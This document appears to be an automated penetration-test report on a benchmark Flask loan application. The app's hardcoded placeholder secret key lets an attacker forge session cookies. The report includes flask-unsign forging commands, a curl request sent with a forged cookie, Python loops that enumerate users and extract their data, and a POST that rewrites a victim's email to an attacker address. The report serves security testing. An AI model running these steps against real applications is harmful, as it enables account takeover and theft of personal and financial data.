# Authorization Analysis Report

## 1. Executive Summary

- **Analysis Status:** Complete  
- **Key Outcome:** Two high-confidence horizontal privilege escalation vulnerabilities were identified, both stemming from a weak hardcoded Flask secret key enabling session forgery. All findings have been passed to the exploitation phase via the machine-readable exploitation queue.  
- **Purpose of this Document:** This report provides the strategic context, vulnerability patterns, and architectural intelligence necessary to effectively exploit the authorization vulnerabilities listed in the queue. It is intended to be read alongside the JSON deliverable.

**Critical Finding:** The Flask application uses a hardcoded, weak secret key (`'your_secret_key'`) for session management, enabling attackers to forge session cookies with arbitrary user IDs. This single architectural flaw compromises the authorization controls across multiple endpoints, allowing horizontal privilege escalation to access and modify other users' data.

## 2. Dominant Vulnerability Patterns

### Pattern 1: Session Forgery Enabling Horizontal Privilege Escalation (Critical)

- **Description:** The Flask application uses a hardcoded, predictable secret key (`'your_secret_key'`) for signing session cookies. An attacker with knowledge of this secret can forge valid session cookies containing arbitrary `user_id` values, effectively impersonating any user in the system.

- **Root Cause:** 
  - **Location:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-104-24/app/website/app/__init__.py:8`
  - **Code:** `app.secret_key = 'your_secret_key'  # Change this to a secure secret key`
  - **Issue:** The secret key is a literal placeholder string that was never changed for production

- **Technical Mechanism:**
  - Flask uses the `itsdangerous` library to sign session cookies with HMAC-SHA1
  - Session cookie format: `base64(payload).timestamp.signature`
  - With the known secret key, attackers can use tools like `flask-unsign` to forge valid sessions:
    ```bash
    flask-unsign --sign --cookie "{'user_id': 2}" --secret 'your_secret_key'
    ```

- **Authorization Impact:** All protected endpoints rely solely on `session.get('user_id')` for authorization without any additional validation. Once a session is forged, the application faithfully processes requests as if the attacker is the target user.

- **Implication:** Complete horizontal privilege escalation - attackers can access and modify any user's data by forging sessions with different user IDs.

- **Representative Vulnerabilities:** AUTHZ-VULN-01, AUTHZ-VULN-02, AUTHZ-VULN-03, AUTHZ-VULN-04

### Pattern 2: Implicit Session-Based Authorization (Architectural Design)

- **Description:** The application implements authorization through implicit session scoping - all protected endpoints retrieve the user_id from the session and use it to fetch user data from the database. No endpoints accept user_id as a request parameter.

- **Security Posture:** This design pattern is SECURE when the session mechanism is trustworthy. The application correctly:
  - Does not accept user-controllable user_id parameters in URLs or forms
  - Always uses `session.get('user_id')` to determine data scope
  - Queries the database with session-derived user_id: `User.query.get(user_id)`

- **Architectural Strength:** This prevents traditional IDOR vulnerabilities where attackers manipulate URL parameters (e.g., `/profile?user_id=2`) to access other users' data.

- **Critical Weakness:** The architecture's security depends entirely on the integrity of the session mechanism. The weak secret key undermines this entire model.

- **Affected Endpoints:** All protected endpoints (`/home`, `/profile`, `/loan_details`, `/total_loan_payments`)

## 3. Strategic Intelligence for Exploitation

### Session Management Architecture

- **Mechanism:** Flask session-based authentication with client-side signed cookies
- **Secret Key:** `'your_secret_key'` (hardcoded in `__init__.py:8`)
- **Session Data Structure:** `{'user_id': <integer>}`
- **Cookie Name:** `session` (Flask default)
- **Signing Algorithm:** HMAC-SHA1 via `itsdangerous` library
- **Session Lifetime:** Indefinite (no timeout configured, no `PERMANENT_SESSION_LIFETIME` setting)

**Critical Finding:** The secret key is publicly known and trivially predictable. This is the single point of failure that enables all horizontal privilege escalation attacks.

### Authorization Model

- **No Role-Based Access Control (RBAC):** The application has no concept of roles, permissions, or privilege levels beyond simple authenticated/unauthenticated status
- **Binary Authorization:** Users are either:
  - Anonymous (can access `/`, `/login`)
  - Authenticated (can access all protected endpoints equally)
- **No Admin Role:** No administrative functionality or elevated privileges exist

**Authorization Check Pattern (All Protected Endpoints):**
```python
user_id = session.get('user_id')
if user_id:
    user = User.query.get(user_id)
    # Process request for this user
else:
    return redirect(url_for('login'))
```

**Critical Finding:** Authorization checks occur BEFORE database queries and side effects, but rely entirely on session integrity. No additional validation of user ownership or session legitimacy occurs.

### Endpoint Authorization Analysis

| Endpoint | Method | Authorization Guard | Data Access Scope | Side Effect |
|----------|--------|-------------------|-------------------|-------------|
| `/home` | GET | `session.get('user_id')` | User's own dashboard data | Read PII + Financial data |
| `/profile` | GET | `session.get('user_id')` | User's own profile data | Read PII + Financial data |
| `/profile` | POST | `session.get('user_id')` | User's own profile data | Write PII + Financial data |
| `/loan_details` | GET | `session.get('user_id')` | User's own loan data | Read Financial data |
| `/total_loan_payments` | GET | `session.get('user_id')` | Calculator (no user data) | Calculation only |

**Critical Finding:** The authorization guards are consistently placed BEFORE side effects and correctly implement implicit session scoping. However, the guards can be bypassed via session forgery.

### Data Model and User Enumeration

**User Table Schema:**
- `id` (Integer, Primary Key) - Sequential, auto-incrementing
- `username` (String(50), Unique)
- `password` (String(50)) - Plaintext storage
- `name` (String(50))
- `lastname` (String(50))
- `email` (String(100))
- `loan_amount` (Float)
- `loan_term_months` (Integer)
- `monthly_payment` (Float)

**Default Test Account:**
- Username: `test`
- Password: `test`
- User ID: Likely 1 (first user in system)

**User Enumeration Strategy:**
1. Forge sessions with sequential user IDs starting from 1
2. Request protected endpoints to extract data
3. Continue until 404/error indicates no more users
4. Database query `User.query.get(user_id)` returns `None` for non-existent IDs

### Session Forgery Exploitation Steps

**Prerequisites:**
- Known secret key: `'your_secret_key'`
- Tool: `flask-unsign` (Python package)
- Target user ID (can enumerate from 1 upward)

**Step-by-Step Exploitation:**

1. **Install flask-unsign:**
   ```bash
   pip install flask-unsign
   ```

2. **Forge session cookie for target user:**
   ```bash
   flask-unsign --sign --cookie "{'user_id': 2}" --secret 'your_secret_key'
   ```
   Output: `eyJ1c2VyX2lkIjoyfQ.ZsK6wg.xK8YqB2mNr3pQ9vL5wT7fU1hJ6c`

3. **Use forged cookie in HTTP request:**
   ```bash
   curl -H "Cookie: session=eyJ1c2VyX2lkIjoyfQ.ZsK6wg.xK8YqB2mNr3pQ9vL5wT7fU1hJ6c" \
        http://localhost:46413/profile
   ```

4. **Enumerate all users:**
   ```python
   for user_id in range(1, 100):
       forged_session = forge_session(user_id, 'your_secret_key')
       response = requests.get('http://localhost:46413/home', 
                              cookies={'session': forged_session})
       if response.status_code == 200:
           extract_user_data(response)
   ```

5. **Modify victim's profile:**
   ```python
   forged_session = forge_session(target_user_id, 'your_secret_key')
   requests.post('http://localhost:46413/profile',
                cookies={'session': forged_session},
                data={'name': 'Attacker', 'email': 'evil@attacker.com', ...})
   ```

### Data Exposure via Session Forgery

**PII Accessible:**
- Full name (name + lastname)
- Email address
- Username (via database structure)

**Financial Data Accessible:**
- Loan amount (principal)
- Loan term in months
- Monthly payment amount

**Modification Capabilities:**
- All PII fields can be modified via POST `/profile`
- All financial fields can be modified via POST `/profile`
- Email takeover possible (change victim's email to attacker-controlled address)

## 4. Vectors Analyzed and Confirmed Secure

These authorization checks were traced and confirmed to have robust, properly-placed guards (when session integrity is assumed). They are **low-priority** for further authorization testing, though the session forgery vulnerability affects them all.

| **Endpoint** | **Guard Location** | **Defense Mechanism** | **Verdict** |
|--------------|-------------------|----------------------|-------------|
| `POST /login` | N/A | Authentication endpoint (no authz required) | SAFE (design) |
| `GET /logout` | N/A | Public endpoint (clears current session only) | SAFE (design) |
| `GET /` | N/A | Public redirect endpoint | SAFE (design) |
| `GET /login` | N/A | Public login form | SAFE (design) |
| `GET /home` | routes.py:45-46 | Session check before database query, implicit user_id scoping | SAFE (if session secure) |
| `GET /profile` | routes.py:56-58 | Session check before database query, implicit user_id scoping | SAFE (if session secure) |
| `POST /profile` | routes.py:56-58 | Session check before database writes, implicit user_id scoping, no user-controllable user_id parameter | SAFE (if session secure) |
| `GET /loan_details` | routes.py:79-81 | Session check before database query, implicit user_id scoping | SAFE (if session secure) |
| `GET /total_loan_payments` | routes.py:91-92 | Session check before processing, calculator function with no user data access | SAFE (calculator function) |

**Key Observations:**

1. **No Traditional IDOR Vulnerabilities:** The application does NOT accept user_id or object_id parameters in any endpoint. All data access is implicitly scoped to `session.get('user_id')`. This prevents parameter manipulation attacks.

2. **Consistent Authorization Pattern:** All protected endpoints follow the same authorization pattern:
   ```python
   user_id = session.get('user_id')
   if user_id:
       user = User.query.get(user_id)
       # Process request
   else:
       return redirect(url_for('login'))
   ```

3. **Guards Dominate Side Effects:** Authorization checks consistently occur BEFORE database queries and side effects (reads/writes).

4. **No Role-Based Vulnerabilities:** Since no RBAC system exists, there are no vertical privilege escalation opportunities or role-based bypass vulnerabilities.

5. **No Context-Based Vulnerabilities:** The application has no multi-step workflows or state-dependent authorization requirements.

**Architectural Assessment:** The endpoint-level authorization logic is correctly implemented. The vulnerabilities exist at the SESSION LAYER, not at individual endpoint authorization checks. If the secret key were secure, this authorization model would be robust.

## 5. Analysis Constraints and Blind Spots

### Limitations of Static Analysis

- **Session Regeneration Testing:** Could not dynamically verify whether session IDs are regenerated after login (static analysis suggests they are NOT, but runtime confirmation needed)
- **Session Cookie Flags:** Could not confirm HttpOnly, Secure, or SameSite flags on session cookies without runtime inspection
- **Database State:** Cannot confirm user IDs in production database (analysis assumes sequential IDs starting from 1)

### Unanalyzed Attack Vectors

- **Session Fixation:** The application does not appear to regenerate session IDs after login (no `session.regenerate()` call), making it potentially vulnerable to session fixation attacks. However, this was not deeply analyzed as it's secondary to the session forgery vulnerability.

- **Session Hijacking via HTTP:** The application runs over HTTP (no HTTPS/TLS), enabling session cookie interception via network sniffing. This is a deployment issue rather than an authorization vulnerability.

- **CSRF on State-Changing Operations:** POST endpoints (particularly `/profile`) lack CSRF protection, enabling cross-site request forgery attacks. However, CSRF is not an authorization vulnerability per the mission scope.

### Multi-User Testing Gaps

- **Concurrent Session Behavior:** Unknown whether the application allows multiple concurrent sessions for the same user_id
- **Session Invalidation:** Unknown whether sessions persist after password changes or account modifications
- **Race Conditions:** No analysis of race conditions in concurrent profile updates

### External Dependencies

- **Flask Version:** The `requirements.txt` file does not pin Flask version, meaning runtime behavior may vary depending on installed version
- **itsdangerous Library:** Session signing behavior depends on `itsdangerous` library version (not analyzed)

### Out of Scope

The following were explicitly excluded from authorization analysis:

- **SSTI Vulnerability:** The `/total_loan_payments` endpoint has a Server-Side Template Injection vulnerability in the `principal` parameter, but this is an injection vulnerability, not an authorization issue
- **Plaintext Password Storage:** While a critical security flaw, password storage is an authentication issue, not authorization
- **SQL Injection:** The application uses SQLAlchemy ORM correctly with parameterized queries (no SQL injection found)
- **XSS Vulnerabilities:** Client-side security is out of scope for authorization analysis

---

## 6. Recommendations for Exploitation Phase

### High-Priority Exploitation Targets

1. **AUTHZ-VULN-02 (POST /profile):** Highest priority - enables data modification and potential account takeover
2. **AUTHZ-VULN-01 (GET /profile):** Second priority - comprehensive data disclosure including PII and financial information
3. **AUTHZ-VULN-03 (GET /home):** Third priority - dashboard data disclosure
4. **AUTHZ-VULN-04 (GET /loan_details):** Fourth priority - financial data disclosure (subset of profile data)

### Exploitation Sequence

1. **Validate Session Forgery:** Confirm `flask-unsign` can forge valid sessions with known secret key
2. **Enumerate Users:** Forge sessions with sequential user IDs to discover all users in the system
3. **Extract Data:** Use forged sessions to access each user's profile, home, and loan details
4. **Modify Data:** Use forged session with POST /profile to modify victim user's data
5. **Demonstrate Impact:** Show complete horizontal privilege escalation with data exfiltration and tampering

### Tools and Techniques

- **flask-unsign:** Primary tool for session forgery
- **Burp Suite / curl:** For crafting HTTP requests with forged cookies
- **Python requests library:** For automated user enumeration and data extraction scripts

### Expected Success Rate

- **Confidence:** HIGH (95%+)
- **Justification:** 
  - Secret key is definitively known and weak
  - Authorization logic is straightforward and consistently vulnerable to session forgery
  - No additional defensive layers (no rate limiting, no anomaly detection, no IP restrictions)

---

**End of Authorization Analysis Report**
